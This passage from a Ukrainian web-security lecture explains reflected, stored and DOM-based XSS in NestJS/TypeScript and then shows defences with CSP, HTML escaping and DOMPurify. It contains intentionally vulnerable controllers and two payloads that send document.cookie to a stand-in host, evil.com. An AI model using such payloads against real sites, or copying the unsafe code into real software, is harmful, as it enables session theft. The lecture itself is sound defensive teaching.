браузера іншого користувача.",[5096,5188,5189,5192],{},[5099,5190,5191],{},"CSRF (Cross-Site Request Forgery):"," виконання небажаних дій від імені автентифікованого користувача без його відома.",[5096,5194,5195,5198,5199,5203,5204,5207],{},[5099,5196,5197],{},"Escaping (Екранування):"," перетворення спецсимволів у безпечні еквіваленти (наприклад, ",[5200,5201,5202],"code",{},"\u003C"," → ",[5200,5205,5206],{},"<",").",[5096,5209,5210,5213],{},[5099,5211,5212],{},"Sanitization (Санітизація):"," очищення вводу від потенційно небезпечних елементів.",[5096,5215,5216,5219],{},[5099,5217,5218],{},"Prepared Statements:"," параметризовані SQL запити, що запобігають ін'єкціям.",[5143,5221],{},[5084,5223,5225],{"id":5224},"xss-cross-site-scripting-інєкція-javascript-коду","XSS (Cross-Site Scripting): Ін'єкція JavaScript коду",[5089,5227,5228,5231],{},[5099,5229,5230],{},"Cross-Site Scripting (XSS)"," — це атака, при якій зловмисник впроваджує зловмисний JavaScript код на легітимну сторінку через некоректно оброблений користувацький ввід. Код виконується у браузері жертви у контексті довіреного сайту, що дозволяє зловмисникові красти cookies, токени автентифікації, виконувати дії від імені користувача або перенаправляти на фішингові сайти.",[5233,5234,5236],"h3",{"id":5235},"типи-xss-атак","Типи XSS атак",[5238,5239,5241],"h4",{"id":5240},"_1-reflected-xss-відбитий-xss","1. Reflected XSS (Відбитий XSS)",[5089,5243,5244],{},"Зловмисний код передається через URL параметри та відразу виконується у відповіді сервера.",[5089,5246,5247],{},[5099,5248,5249],{},"Приклад вразливого коду:",[5251,5252,5257],"pre",{"className":5253,"code":5254,"language":5255,"meta":5256,"style":5256},"language-typescript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F ❌ НЕБЕЗПЕЧНО: пряме виведення query параметра без екранування\n@Controller('search')\nexport class SearchController {\n  @Get()\n  search(@Query('q') query: string, @Res() res: Response) {\n    \u002F\u002F Якщо query = \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\"\n    res.send(`\u003Ch1>Результати пошуку: ${query}\u003C\u002Fh1>`);\n    \u002F\u002F HTML виконається у браузері!\n  }\n}\n","typescript","",[5200,5258,5259,5268,5289,5307,5319,5369,5375,5406,5412,5418],{"__ignoreMap":5256},[5260,5261,5264],"span",{"class":5262,"line":5263},"line",1,[5260,5265,5267],{"class":5266},"spJ8K","\u002F\u002F ❌ НЕБЕЗПЕЧНО: пряме виведення query параметра без екранування\n",[5260,5269,5271,5275,5279,5282,5286],{"class":5262,"line":5270},2,[5260,5272,5274],{"class":5273},"sHH4Y","@",[5260,5276,5278],{"class":5277},"s8Opu","Controller",[5260,5280,5281],{"class":5273},"(",[5260,5283,5285],{"class":5284},"sbdoH","'search'",[5260,5287,5288],{"class":5273},")\n",[5260,5290,5292,5296,5300,5304],{"class":5262,"line":5291},3,[5260,5293,5295],{"class":5294},"s8xlr","export",[5260,5297,5299],{"class":5298},"su1O8"," class",[5260,5301,5303],{"class":5302},"sN1BT"," SearchController",[5260,5305,5306],{"class":5273}," {\n",[5260,5308,5310,5313,5316],{"class":5262,"line":5309},4,[5260,5311,5312],{"class":5273},"  @",[5260,5314,5315],{"class":5277},"Get",[5260,5317,5318],{"class":5273},"()\n",[5260,5320,5322,5325,5328,5331,5333,5336,5339,5343,5346,5349,5352,5355,5358,5361,5363,5366],{"class":5262,"line":5321},5,[5260,5323,5324],{"class":5277},"  search",[5260,5326,5327],{"class":5273},"(@",[5260,5329,5330],{"class":5277},"Query",[5260,5332,5281],{"class":5273},[5260,5334,5335],{"class":5284},"'q'",[5260,5337,5338],{"class":5273},") ",[5260,5340,5342],{"class":5341},"siwwj","query",[5260,5344,5345],{"class":5273},": ",[5260,5347,5348],{"class":5302},"string",[5260,5350,5351],{"class":5273},", @",[5260,5353,5354],{"class":5277},"Res",[5260,5356,5357],{"class":5273},"() ",[5260,5359,5360],{"class":5341},"res",[5260,5362,5345],{"class":5273},[5260,5364,5365],{"class":5302},"Response",[5260,5367,5368],{"class":5273},") {\n",[5260,5370,5372],{"class":5262,"line":5371},6,[5260,5373,5374],{"class":5266},"    \u002F\u002F Якщо query = \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\"\n",[5260,5376,5378,5381,5384,5387,5389,5392,5395,5397,5400,5403],{"class":5262,"line":5377},7,[5260,5379,5380],{"class":5341},"    res",[5260,5382,5383],{"class":5273},".",[5260,5385,5386],{"class":5277},"send",[5260,5388,5281],{"class":5273},[5260,5390,5391],{"class":5284},"`\u003Ch1>Результати пошуку: ",[5260,5393,5394],{"class":5298},"${",[5260,5396,5342],{"class":5341},[5260,5398,5399],{"class":5298},"}",[5260,5401,5402],{"class":5284},"\u003C\u002Fh1>`",[5260,5404,5405],{"class":5273},");\n",[5260,5407,5409],{"class":5262,"line":5408},8,[5260,5410,5411],{"class":5266},"    \u002F\u002F HTML виконається у браузері!\n",[5260,5413,5415],{"class":5262,"line":5414},9,[5260,5416,5417],{"class":5273},"  }\n",[5260,5419,5421],{"class":5262,"line":5420},10,[5260,5422,5423],{"class":5273},"}\n",[5089,5425,5426],{},[5099,5427,5428],{},"Атака:",[5251,5430,5435],{"className":5431,"code":5433,"language":5434},[5432],"language-text","GET \u002Fsearch?q=\u003Cscript>document.location='https:\u002F\u002Fevil.com\u002Fsteal?cookie='+document.cookie\u003C\u002Fscript>\n","text",[5200,5436,5433],{"__ignoreMap":5256},[5089,5438,5439],{},"Зловмисник надсилає жертві URL з вбудованим script. При відкритті URL, script виконується та викрадає cookies користувача.",[5238,5441,5443],{"id":5442},"_2-stored-xss-збережений-xss","2. Stored XSS (Збережений XSS)",[5089,5445,5446],{},"Зловмисний код зберігається у базі даних (наприклад, у коментарі або пості) та виконується у всіх користувачів, які переглядають цей контент.",[5089,5448,5449],{},[5099,5450,5249],{},[5251,5452,5454],{"className":5253,"code":5453,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: збереження та виведення HTML без санітизації\n@Controller('comments')\nexport class CommentsController {\n  @Post()\n  async createComment(@Body() dto: CreateCommentDto) {\n    \u002F\u002F Зберігаємо як є (навіть якщо містить \u003Cscript>)\n    const comment = await this.commentsService.create(dto);\n    return comment;\n  }\n\n  @Get()\n  async getComments(@Res() res: Response) {\n    const comments = await this.commentsService.findAll();\n    \n    \u002F\u002F Виводимо без екранування\n    const html = comments\n      .map(c => `\u003Cdiv>${c.text}\u003C\u002Fdiv>`)\n      .join('');\n    \n    res.send(html);\n  }\n}\n",[5200,5455,5456,5461,5474,5485,5494,5519,5524,5558,5568,5572,5578,5587,5609,5635,5641,5647,5660,5696,5711,5716,5732,5737],{"__ignoreMap":5256},[5260,5457,5458],{"class":5262,"line":5263},[5260,5459,5460],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: збереження та виведення HTML без санітизації\n",[5260,5462,5463,5465,5467,5469,5472],{"class":5262,"line":5270},[5260,5464,5274],{"class":5273},[5260,5466,5278],{"class":5277},[5260,5468,5281],{"class":5273},[5260,5470,5471],{"class":5284},"'comments'",[5260,5473,5288],{"class":5273},[5260,5475,5476,5478,5480,5483],{"class":5262,"line":5291},[5260,5477,5295],{"class":5294},[5260,5479,5299],{"class":5298},[5260,5481,5482],{"class":5302}," CommentsController",[5260,5484,5306],{"class":5273},[5260,5486,5487,5489,5492],{"class":5262,"line":5309},[5260,5488,5312],{"class":5273},[5260,5490,5491],{"class":5277},"Post",[5260,5493,5318],{"class":5273},[5260,5495,5496,5499,5502,5504,5507,5509,5512,5514,5517],{"class":5262,"line":5321},[5260,5497,5498],{"class":5298},"  async",[5260,5500,5501],{"class":5277}," createComment",[5260,5503,5327],{"class":5273},[5260,5505,5506],{"class":5277},"Body",[5260,5508,5357],{"class":5273},[5260,5510,5511],{"class":5341},"dto",[5260,5513,5345],{"class":5273},[5260,5515,5516],{"class":5302},"CreateCommentDto",[5260,5518,5368],{"class":5273},[5260,5520,5521],{"class":5262,"line":5371},[5260,5522,5523],{"class":5266},"    \u002F\u002F Зберігаємо як є (навіть якщо містить \u003Cscript>)\n",[5260,5525,5526,5529,5533,5536,5539,5542,5544,5547,5549,5552,5554,5556],{"class":5262,"line":5377},[5260,5527,5528],{"class":5298},"    const",[5260,5530,5532],{"class":5531},"s-QsJ"," comment",[5260,5534,5535],{"class":5273}," = ",[5260,5537,5538],{"class":5294},"await",[5260,5540,5541],{"class":5298}," this",[5260,5543,5383],{"class":5273},[5260,5545,5546],{"class":5341},"commentsService",[5260,5548,5383],{"class":5273},[5260,5550,5551],{"class":5277},"create",[5260,5553,5281],{"class":5273},[5260,5555,5511],{"class":5341},[5260,5557,5405],{"class":5273},[5260,5559,5560,5563,5565],{"class":5262,"line":5408},[5260,5561,5562],{"class":5294},"    return",[5260,5564,5532],{"class":5341},[5260,5566,5567],{"class":5273},";\n",[5260,5569,5570],{"class":5262,"line":5414},[5260,5571,5417],{"class":5273},[5260,5573,5574],{"class":5262,"line":5420},[5260,5575,5577],{"emptyLinePlaceholder":5576},true,"\n",[5260,5579,5581,5583,5585],{"class":5262,"line":5580},11,[5260,5582,5312],{"class":5273},[5260,5584,5315],{"class":5277},[5260,5586,5318],{"class":5273},[5260,5588,5590,5592,5595,5597,5599,5601,5603,5605,5607],{"class":5262,"line":5589},12,[5260,5591,5498],{"class":5298},[5260,5593,5594],{"class":5277}," getComments",[5260,5596,5327],{"class":5273},[5260,5598,5354],{"class":5277},[5260,5600,5357],{"class":5273},[5260,5602,5360],{"class":5341},[5260,5604,5345],{"class":5273},[5260,5606,5365],{"class":5302},[5260,5608,5368],{"class":5273},[5260,5610,5612,5614,5617,5619,5621,5623,5625,5627,5629,5632],{"class":5262,"line":5611},13,[5260,5613,5528],{"class":5298},[5260,5615,5616],{"class":5531}," comments",[5260,5618,5535],{"class":5273},[5260,5620,5538],{"class":5294},[5260,5622,5541],{"class":5298},[5260,5624,5383],{"class":5273},[5260,5626,5546],{"class":5341},[5260,5628,5383],{"class":5273},[5260,5630,5631],{"class":5277},"findAll",[5260,5633,5634],{"class":5273},"();\n",[5260,5636,5638],{"class":5262,"line":5637},14,[5260,5639,5640],{"class":5273},"    \n",[5260,5642,5644],{"class":5262,"line":5643},15,[5260,5645,5646],{"class":5266},"    \u002F\u002F Виводимо без екранування\n",[5260,5648,5650,5652,5655,5657],{"class":5262,"line":5649},16,[5260,5651,5528],{"class":5298},[5260,5653,5654],{"class":5531}," html",[5260,5656,5535],{"class":5273},[5260,5658,5659],{"class":5341},"comments\n",[5260,5661,5663,5666,5669,5671,5674,5677,5680,5682,5684,5687,5689,5691,5694],{"class":5262,"line":5662},17,[5260,5664,5665],{"class":5273},"      .",[5260,5667,5668],{"class":5277},"map",[5260,5670,5281],{"class":5273},[5260,5672,5673],{"class":5341},"c",[5260,5675,5676],{"class":5298}," =>",[5260,5678,5679],{"class":5284}," `\u003Cdiv>",[5260,5681,5394],{"class":5298},[5260,5683,5673],{"class":5341},[5260,5685,5383],{"class":5686},"sD7JJ",[5260,5688,5434],{"class":5341},[5260,5690,5399],{"class":5298},[5260,5692,5693],{"class":5284},"\u003C\u002Fdiv>`",[5260,5695,5288],{"class":5273},[5260,5697,5699,5701,5704,5706,5709],{"class":5262,"line":5698},18,[5260,5700,5665],{"class":5273},[5260,5702,5703],{"class":5277},"join",[5260,5705,5281],{"class":5273},[5260,5707,5708],{"class":5284},"''",[5260,5710,5405],{"class":5273},[5260,5712,5714],{"class":5262,"line":5713},19,[5260,5715,5640],{"class":5273},[5260,5717,5719,5721,5723,5725,5727,5730],{"class":5262,"line":5718},20,[5260,5720,5380],{"class":5341},[5260,5722,5383],{"class":5273},[5260,5724,5386],{"class":5277},[5260,5726,5281],{"class":5273},[5260,5728,5729],{"class":5341},"html",[5260,5731,5405],{"class":5273},[5260,5733,5735],{"class":5262,"line":5734},21,[5260,5736,5417],{"class":5273},[5260,5738,5740],{"class":5262,"line":5739},22,[5260,5741,5423],{"class":5273},[5089,5743,5744],{},[5099,5745,5428],{},[5089,5747,5748],{},"Зловмисник створює коментар:",[5251,5750,5753],{"className":5751,"code":5752,"language":5434},[5432],"POST \u002Fcomments\n{\n  \"text\": \"\u003Cimg src=x onerror='fetch(\\\"https:\u002F\u002Fevil.com?cookie=\\\"+document.cookie)'>\"\n}\n",[5200,5754,5752],{"__ignoreMap":5256},[5089,5756,5757,5758,5761],{},"Тепер ",[5099,5759,5760],{},"кожен користувач",", який переглядає коментарі, виконує цей script.",[5238,5763,5765],{"id":5764},"_3-dom-based-xss-xss-на-основі-dom","3. DOM-based XSS (XSS на основі DOM)",[5089,5767,5768],{},"Вразливість у клієнтському JavaScript коді, що маніпулює DOM на основі user input.",[5089,5770,5771],{},[5099,5772,5773],{},"Приклад вразливого frontend коду:",[5251,5775,5777],{"className":5253,"code":5776,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання innerHTML з user input\nfunction displayMessage(message: string) {\n  const container = document.getElementById('message');\n  container.innerHTML = message; \u002F\u002F Виконається будь-який HTML\u002Fscript\n}\n\n\u002F\u002F URL: \u002Fapp#\u003Cimg src=x onerror=alert('XSS')>\nconst userInput = window.location.hash.substring(1);\ndisplayMessage(userInput);\n",[5200,5778,5779,5784,5803,5828,5848,5852,5856,5861,5897],{"__ignoreMap":5256},[5260,5780,5781],{"class":5262,"line":5263},[5260,5782,5783],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання innerHTML з user input\n",[5260,5785,5786,5789,5792,5794,5797,5799,5801],{"class":5262,"line":5270},[5260,5787,5788],{"class":5298},"function",[5260,5790,5791],{"class":5277}," displayMessage",[5260,5793,5281],{"class":5273},[5260,5795,5796],{"class":5341},"message",[5260,5798,5345],{"class":5273},[5260,5800,5348],{"class":5302},[5260,5802,5368],{"class":5273},[5260,5804,5805,5808,5811,5813,5816,5818,5821,5823,5826],{"class":5262,"line":5291},[5260,5806,5807],{"class":5298},"  const",[5260,5809,5810],{"class":5531}," container",[5260,5812,5535],{"class":5273},[5260,5814,5815],{"class":5341},"document",[5260,5817,5383],{"class":5273},[5260,5819,5820],{"class":5277},"getElementById",[5260,5822,5281],{"class":5273},[5260,5824,5825],{"class":5284},"'message'",[5260,5827,5405],{"class":5273},[5260,5829,5830,5833,5835,5838,5840,5842,5845],{"class":5262,"line":5309},[5260,5831,5832],{"class":5341},"  container",[5260,5834,5383],{"class":5273},[5260,5836,5837],{"class":5341},"innerHTML",[5260,5839,5535],{"class":5273},[5260,5841,5796],{"class":5341},[5260,5843,5844],{"class":5273},"; ",[5260,5846,5847],{"class":5266},"\u002F\u002F Виконається будь-який HTML\u002Fscript\n",[5260,5849,5850],{"class":5262,"line":5321},[5260,5851,5423],{"class":5273},[5260,5853,5854],{"class":5262,"line":5371},[5260,5855,5577],{"emptyLinePlaceholder":5576},[5260,5857,5858],{"class":5262,"line":5377},[5260,5859,5860],{"class":5266},"\u002F\u002F URL: \u002Fapp#\u003Cimg src=x onerror=alert('XSS')>\n",[5260,5862,5863,5866,5869,5871,5874,5876,5879,5881,5884,5886,5889,5891,5895],{"class":5262,"line":5408},[5260,5864,5865],{"class":5298},"const",[5260,5867,5868],{"class":5531}," userInput",[5260,5870,5535],{"class":5273},[5260,5872,5873],{"class":5341},"window",[5260,5875,5383],{"class":5273},[5260,5877,5878],{"class":5341},"location",[5260,5880,5383],{"class":5273},[5260,5882,5883],{"class":5341},"hash",[5260,5885,5383],{"class":5273},[5260,5887,5888],{"class":5277},"substring",[5260,5890,5281],{"class":5273},[5260,5892,5894],{"class":5893},"sJj4R","1",[5260,5896,5405],{"class":5273},[5260,5898,5899,5902,5904,5907],{"class":5262,"line":5414},[5260,5900,5901],{"class":5277},"displayMessage",[5260,5903,5281],{"class":5273},[5260,5905,5906],{"class":5341},"userInput",[5260,5908,5405],{"class":5273},[5233,5910,5912],{"id":5911},"захист-від-xss","Захист від XSS",[5238,5914,5916],{"id":5915},"_1-content-security-policy-csp","1. Content Security Policy (CSP)",[5089,5918,5919,5920,5923],{},"Про CSP ми детально розглядали у лекції про Helmet Security Headers. CSP ",[5099,5921,5922],{},"блокує виконання inline scripts"," та обмежує джерела завантаження:",[5251,5925,5927],{"className":5253,"code":5926,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fmain.ts\nimport helmet from 'helmet';\n\napp.use(\n  helmet.contentSecurityPolicy({\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\"'self'\", \"https:\u002F\u002Ftrusted-cdn.com\"], \u002F\u002F Заборона inline scripts\n      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n      objectSrc: [\"'none'\"],\n    },\n  })\n);\n",[5200,5928,5929,5934,5950,5954,5967,5980,5987,6001,6022,6038,6050,6055,6060],{"__ignoreMap":5256},[5260,5930,5931],{"class":5262,"line":5263},[5260,5932,5933],{"class":5266},"\u002F\u002F src\u002Fmain.ts\n",[5260,5935,5936,5939,5942,5945,5948],{"class":5262,"line":5270},[5260,5937,5938],{"class":5294},"import",[5260,5940,5941],{"class":5341}," helmet",[5260,5943,5944],{"class":5294}," from",[5260,5946,5947],{"class":5284}," 'helmet'",[5260,5949,5567],{"class":5273},[5260,5951,5952],{"class":5262,"line":5291},[5260,5953,5577],{"emptyLinePlaceholder":5576},[5260,5955,5956,5959,5961,5964],{"class":5262,"line":5309},[5260,5957,5958],{"class":5341},"app",[5260,5960,5383],{"class":5273},[5260,5962,5963],{"class":5277},"use",[5260,5965,5966],{"class":5273},"(\n",[5260,5968,5969,5972,5974,5977],{"class":5262,"line":5321},[5260,5970,5971],{"class":5341},"  helmet",[5260,5973,5383],{"class":5273},[5260,5975,5976],{"class":5277},"contentSecurityPolicy",[5260,5978,5979],{"class":5273},"({\n",[5260,5981,5982,5985],{"class":5262,"line":5371},[5260,5983,5984],{"class":5341},"    directives:",[5260,5986,5306],{"class":5273},[5260,5988,5989,5992,5995,5998],{"class":5262,"line":5377},[5260,5990,5991],{"class":5341},"      defaultSrc:",[5260,5993,5994],{"class":5273}," [",[5260,5996,5997],{"class":5284},"\"'self'\"",[5260,5999,6000],{"class":5273},"],\n",[5260,6002,6003,6006,6008,6010,6013,6016,6019],{"class":5262,"line":5408},[5260,6004,6005],{"class":5341},"      scriptSrc:",[5260,6007,5994],{"class":5273},[5260,6009,5997],{"class":5284},[5260,6011,6012],{"class":5273},", ",[5260,6014,6015],{"class":5284},"\"https:\u002F\u002Ftrusted-cdn.com\"",[5260,6017,6018],{"class":5273},"], ",[5260,6020,6021],{"class":5266},"\u002F\u002F Заборона inline scripts\n",[5260,6023,6024,6027,6029,6031,6033,6036],{"class":5262,"line":5414},[5260,6025,6026],{"class":5341},"      styleSrc:",[5260,6028,5994],{"class":5273},[5260,6030,5997],{"class":5284},[5260,6032,6012],{"class":5273},[5260,6034,6035],{"class":5284},"\"'unsafe-inline'\"",[5260,6037,6000],{"class":5273},[5260,6039,6040,6043,6045,6048],{"class":5262,"line":5420},[5260,6041,6042],{"class":5341},"      objectSrc:",[5260,6044,5994],{"class":5273},[5260,6046,6047],{"class":5284},"\"'none'\"",[5260,6049,6000],{"class":5273},[5260,6051,6052],{"class":5262,"line":5580},[5260,6053,6054],{"class":5273},"    },\n",[5260,6056,6057],{"class":5262,"line":5589},[5260,6058,6059],{"class":5273},"  })\n",[5260,6061,6062],{"class":5262,"line":5611},[5260,6063,5405],{"class":5273},[5089,6065,6066,6069,6070,6073,6074,6077],{},[5099,6067,6068],{},"Результат:"," навіть якщо зловмисник впровадить ",[5200,6071,6072],{},"\u003Cscript>alert('XSS')\u003C\u002Fscript>",", браузер ",[5099,6075,6076],{},"не виконає"," цей код.",[5238,6079,6081],{"id":6080},"_2-екранування-html-спецсимволів","2. Екранування HTML спецсимволів",[5089,6083,6084],{},"Перетворення небезпечних символів у безпечні HTML entities:",[5251,6086,6088],{"className":5253,"code":6087,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fescape-html.util.ts\nexport function escapeHtml(text: string): string {\n  const map: Record\u003Cstring, string> = {\n    '&': '&',\n    '\u003C': '<',\n    '>': '>',\n    '\"': '"',\n    \"'\": ''',\n    '\u002F': '/',\n  };\n  \n  return text.replace(\u002F[&\u003C>\"'\u002F]\u002Fg, (char) => map[char]);\n}\n",[5200,6089,6090,6095,6120,6143,6157,6169,6181,6193,6205,6217,6222,6227,6281],{"__ignoreMap":5256},[5260,6091,6092],{"class":5262,"line":5263},[5260,6093,6094],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fescape-html.util.ts\n",[5260,6096,6097,6099,6102,6105,6107,6109,6111,6113,6116,6118],{"class":5262,"line":5270},[5260,6098,5295],{"class":5294},[5260,6100,6101],{"class":5298}," function",[5260,6103,6104],{"class":5277}," escapeHtml",[5260,6106,5281],{"class":5273},[5260,6108,5434],{"class":5341},[5260,6110,5345],{"class":5273},[5260,6112,5348],{"class":5302},[5260,6114,6115],{"class":5273},"): ",[5260,6117,5348],{"class":5302},[5260,6119,5306],{"class":5273},[5260,6121,6122,6124,6127,6129,6132,6134,6136,6138,6140],{"class":5262,"line":5291},[5260,6123,5807],{"class":5298},[5260,6125,6126],{"class":5531}," map",[5260,6128,5345],{"class":5273},[5260,6130,6131],{"class":5302},"Record",[5260,6133,5202],{"class":5273},[5260,6135,5348],{"class":5302},[5260,6137,6012],{"class":5273},[5260,6139,5348],{"class":5302},[5260,6141,6142],{"class":5273},"> = {\n",[5260,6144,6145,6148,6151,6154],{"class":5262,"line":5309},[5260,6146,6147],{"class":5284},"    '&'",[5260,6149,6150],{"class":5341},":",[5260,6152,6153],{"class":5284}," '&'",[5260,6155,6156],{"class":5273},",\n",[5260,6158,6159,6162,6164,6167],{"class":5262,"line":5321},[5260,6160,6161],{"class":5284},"    '\u003C'",[5260,6163,6150],{"class":5341},[5260,6165,6166],{"class":5284}," '<'",[5260,6168,6156],{"class":5273},[5260,6170,6171,6174,6176,6179],{"class":5262,"line":5371},[5260,6172,6173],{"class":5284},"    '>'",[5260,6175,6150],{"class":5341},[5260,6177,6178],{"class":5284}," '>'",[5260,6180,6156],{"class":5273},[5260,6182,6183,6186,6188,6191],{"class":5262,"line":5377},[5260,6184,6185],{"class":5284},"    '\"'",[5260,6187,6150],{"class":5341},[5260,6189,6190],{"class":5284}," '"'",[5260,6192,6156],{"class":5273},[5260,6194,6195,6198,6200,6203],{"class":5262,"line":5408},[5260,6196,6197],{"class":5284},"    \"'\"",[5260,6199,6150],{"class":5341},[5260,6201,6202],{"class":5284}," '''",[5260,6204,6156],{"class":5273},[5260,6206,6207,6210,6212,6215],{"class":5262,"line":5414},[5260,6208,6209],{"class":5284},"    '\u002F'",[5260,6211,6150],{"class":5341},[5260,6213,6214],{"class":5284}," '/'",[5260,6216,6156],{"class":5273},[5260,6218,6219],{"class":5262,"line":5420},[5260,6220,6221],{"class":5273},"  };\n",[5260,6223,6224],{"class":5262,"line":5580},[5260,6225,6226],{"class":5273},"  \n",[5260,6228,6229,6232,6235,6237,6240,6242,6246,6250,6253,6256,6258,6261,6264,6267,6269,6272,6274,6276,6278],{"class":5262,"line":5589},[5260,6230,6231],{"class":5294},"  return",[5260,6233,6234],{"class":5341}," text",[5260,6236,5383],{"class":5273},[5260,6238,6239],{"class":5277},"replace",[5260,6241,5281],{"class":5273},[5260,6243,6245],{"class":6244},"shsrj","\u002F",[5260,6247,6249],{"class":6248},"sAV2Q","[",[5260,6251,6252],{"class":6244},"&\u003C>\"'\u002F",[5260,6254,6255],{"class":6248},"]",[5260,6257,6245],{"class":6244},[5260,6259,6260],{"class":5298},"g",[5260,6262,6263],{"class":5273},", (",[5260,6265,6266],{"class":5341},"char",[5260,6268,5338],{"class":5273},[5260,6270,6271],{"class":5298},"=>",[5260,6273,6126],{"class":5341},[5260,6275,6249],{"class":5273},[5260,6277,6266],{"class":5341},[5260,6279,6280],{"class":5273},"]);\n",[5260,6282,6283],{"class":5262,"line":5611},[5260,6284,5423],{"class":5273},[5089,6286,6287],{},[5099,6288,6289],{},"Використання:",[5251,6291,6293],{"className":5253,"code":6292,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ БЕЗПЕЧНО: екранування перед виведенням\n@Get('search')\nsearch(@Query('q') query: string, @Res() res: Response) {\n  const safeQuery = escapeHtml(query);\n  res.send(`\u003Ch1>Результати пошуку: ${safeQuery}\u003C\u002Fh1>`);\n}\n",[5200,6294,6295,6300,6312,6347,6365,6389],{"__ignoreMap":5256},[5260,6296,6297],{"class":5262,"line":5263},[5260,6298,6299],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: екранування перед виведенням\n",[5260,6301,6302,6304,6306,6308,6310],{"class":5262,"line":5270},[5260,6303,5274],{"class":5273},[5260,6305,5315],{"class":5277},[5260,6307,5281],{"class":5273},[5260,6309,5285],{"class":5284},[5260,6311,5288],{"class":5273},[5260,6313,6314,6317,6319,6321,6323,6325,6327,6329,6331,6333,6335,6337,6339,6341,6343,6345],{"class":5262,"line":5291},[5260,6315,6316],{"class":5277},"search",[5260,6318,5327],{"class":5273},[5260,6320,5330],{"class":5277},[5260,6322,5281],{"class":5273},[5260,6324,5335],{"class":5284},[5260,6326,5338],{"class":5273},[5260,6328,5342],{"class":5341},[5260,6330,5345],{"class":5273},[5260,6332,5348],{"class":5341},[5260,6334,5351],{"class":5273},[5260,6336,5354],{"class":5277},[5260,6338,5357],{"class":5273},[5260,6340,5360],{"class":5341},[5260,6342,5345],{"class":5273},[5260,6344,5365],{"class":5341},[5260,6346,5368],{"class":5273},[5260,6348,6349,6351,6354,6356,6359,6361,6363],{"class":5262,"line":5309},[5260,6350,5807],{"class":5298},[5260,6352,6353],{"class":5531}," safeQuery",[5260,6355,5535],{"class":5273},[5260,6357,6358],{"class":5277},"escapeHtml",[5260,6360,5281],{"class":5273},[5260,6362,5342],{"class":5341},[5260,6364,5405],{"class":5273},[5260,6366,6367,6370,6372,6374,6376,6378,6380,6383,6385,6387],{"class":5262,"line":5321},[5260,6368,6369],{"class":5341},"  res",[5260,6371,5383],{"class":5273},[5260,6373,5386],{"class":5277},[5260,6375,5281],{"class":5273},[5260,6377,5391],{"class":5284},[5260,6379,5394],{"class":5298},[5260,6381,6382],{"class":5341},"safeQuery",[5260,6384,5399],{"class":5298},[5260,6386,5402],{"class":5284},[5260,6388,5405],{"class":5273},[5260,6390,6391],{"class":5262,"line":5371},[5260,6392,5423],{"class":5273},[5089,6394,6395],{},[5099,6396,6068],{},[5251,6398,6401],{"className":6399,"code":6400,"language":5434},[5432],"Input:  \u003Cscript>alert('XSS')\u003C\u002Fscript>\nOutput: <script>alert('XSS')</script>\nБраузер відображає: \u003Cscript>alert('XSS')\u003C\u002Fscript> (як текст, не виконує)\n",[5200,6402,6400],{"__ignoreMap":5256},[5238,6404,6406],{"id":6405},"_3-санітизація-html-через-бібліотеки","3. Санітизація HTML через бібліотеки",[5089,6408,6409,6410,6413],{},"Для випадків, коли потрібно дозволити ",[5099,6411,6412],{},"безпечний HTML"," (наприклад, форматування тексту), використовуйте санітизатори:",[5251,6415,6419],{"className":6416,"code":6417,"language":6418,"meta":5256,"style":5256},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","npm install dompurify\nnpm install @types\u002Fdompurify --save-dev\n","bash",[5200,6420,6421,6432],{"__ignoreMap":5256},[5260,6422,6423,6426,6429],{"class":5262,"line":5263},[5260,6424,6425],{"class":5277},"npm",[5260,6427,6428],{"class":5284}," install",[5260,6430,6431],{"class":5284}," dompurify\n",[5260,6433,6434,6436,6438,6441],{"class":5262,"line":5270},[5260,6435,6425],{"class":5277},[5260,6437,6428],{"class":5284},[5260,6439,6440],{"class":5284}," @types\u002Fdompurify",[5260,6442,6443],{"class":5298}," --save-dev\n",[5251,6445,6447],{"className":5253,"code":6446,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fsanitize-html.util.ts\nimport DOMPurify from 'dompurify';\nimport { JSDOM } from 'jsdom';\n\nconst window = new JSDOM('').window;\nconst purify = DOMPurify(window as any);\n\nexport function sanitizeHtml(dirty: string): string {\n  return purify.sanitize(dirty, {\n    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],\n    ALLOWED_ATTR: ['href'],\n  });\n}\n",[5200,6448,6449,6454,6468,6489,6493,6518,6542,6546,6570,6588,6630,6642,6647],{"__ignoreMap":5256},[5260,6450,6451],{"class":5262,"line":5263},[5260,6452,6453],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fsanitize-html.util.ts\n",[5260,6455,6456,6458,6461,6463,6466],{"class":5262,"line":5270},[5260,6457,5938],{"class":5294},[5260,6459,6460],{"class":5341}," DOMPurify",[5260,6462,5944],{"class":5294},[5260,6464,6465],{"class":5284}," 'dompurify'",[5260,6467,5567],{"class":5273},[5260,6469,6470,6472,6475,6478,6481,6484,6487],{"class":5262,"line":5291},[5260,6471,5938],{"class":5294},[5260,6473,6474],{"class":5273}," { ",[5260,6476,6477],{"class":5341},"JSDOM",[5260,6479,6480],{"class":5273}," } ",[5260,6482,6483],{"class":5294},"from",[5260,6485,6486],{"class":5284}," 'jsdom'",[5260,6488,5567],{"class":5273},[5260,6490,6491],{"class":5262,"line":5309},[5260,6492,5577],{"emptyLinePlaceholder":5576},[5260,6494,6495,6497,6500,6502,6505,6508,6510,6512,6514,6516],{"class":5262,"line":5321},[5260,6496,5865],{"class":5298},[5260,6498,6499],{"class":5531}," window",[5260,6501,5535],{"class":5273},[5260,6503,6504],{"class":5298},"new",[5260,6506,6507],{"class":5277}," 